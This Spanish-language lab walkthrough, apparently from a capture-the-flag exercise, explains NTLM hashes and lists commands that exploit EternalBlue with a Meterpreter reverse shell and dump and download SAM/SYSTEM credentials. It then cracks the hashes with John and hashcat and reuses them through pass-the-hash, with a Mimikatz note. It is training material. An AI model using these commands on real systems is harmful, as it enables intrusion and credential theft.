🔑 NTLM: el hash de contraseñas de Windows
Windows no almacena las contraseñas en texto claro. En su lugar, guarda un hash NTLM (NT LAN Manager) en la base de datos SAM (Security Account Manager) y en el archivo NTDS.dit en Active Directory.
El formato de un hash NTLM en la base SAM es:usuario:RID:LM_hash:NTLM_hash:::
El hash LM suele ser aad3b435b51404eeaad3b435b51404ee (hash vacío, LM desactivado). El hash NTLM es el que se crackea.
Pass-the-Hash: los hashes NTLM pueden usarse directamente para autenticarse en servicios Windows sin necesidad de crackearlos, usando herramientas como
psexec, crackmapexec o impacket.Estructura del hash NTLM
| Campo | Ejemplo | Descripción |
|---|---|---|
| Usuario | Administrator | Nombre de cuenta |
| RID | 500 | Identificador relativo (500 = Administrator) |
| LM Hash | aad3b435...04ee | Hash LM (vacío = LM desactivado) |
| NTLM Hash | 31d6cfe0...89c0 | Hash de la contraseña — este se crackea |
🔧 Comandos del laboratorio
1. Identificar objetivo y escanear
bash
cat /root/Desktop/target
nmap <IP>
nmap -sV -p 445 <IP>
2. Explotar EternalBlue para obtener Meterpreter
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
# Sesión Meterpreter con SYSTEM
3. Volcar hashes NTLM con hashdump
meterpreter
hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# student:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
4. Descargar la base SAM y el hive SYSTEM
meterpreter
download C:\\Windows\\System32\\config\\SAM
download C:\\Windows\\System32\\config\\SYSTEM
5. Crackear hashes con John the Ripper
Guarda los hashes en un archivo de texto y usa John con el diccionario rockyou.txt.
bash — guardar hashes en archivo
echo "student:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::" > hashes.txt
bash — crackear con John
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=NT --show hashes.txt
# student:password
bash — alternativa con hashcat
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
# -m 1000 = modo NTLM
6. Usar las credenciales obtenidas
bash — acceso RDP
xfreerdp /u:student /p:password /v:<IP>
bash — Pass-the-Hash con psexec (sin crackear)
psexec.py Administrator@<IP> -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
7. Obtener la flag
meterpreter / cmd
cd C:\\Users\\Administrator\\Desktop
type flag.txt
🗼 Flujo del ataque
1
ReconocimientoNmap → confirmar SMB activo y versión.
2
ExplotaciónEternalBlue → Meterpreter SYSTEM.
3
Volcado de hashes
hashdump → hashes NTLM de todos los usuarios.4
Crackeo offlineJohn the Ripper o Hashcat con rockyou.txt.
5
ReutilizaciónRDP, PSExec o Pass-the-Hash con las credenciales obtenidas.
6
FlagLeer el archivo de la flag como Administrator.
🎯 ¿Qué buscar? — Indicadores de éxito
- NTLM hash de Administrator: si el LM es
aad3b435...y el NTLM es31d6cfe0...→ contraseña vacía. - Hashcat GPU es mucho más rápido que John CPU para NTLM.
- Pass-the-Hash con
crackmapexec smb <IP> -u Administrator -H <hash>no requiere crackear. - El archivo SYSTEM es necesario para descifrar hashes SAM descargados; sin él los hashes están cifrados.
- Mimikatz (
sekurlsa::logonpasswords) extrae contraseñas en texto claro de la memoria de lsass (si WDigest está activo).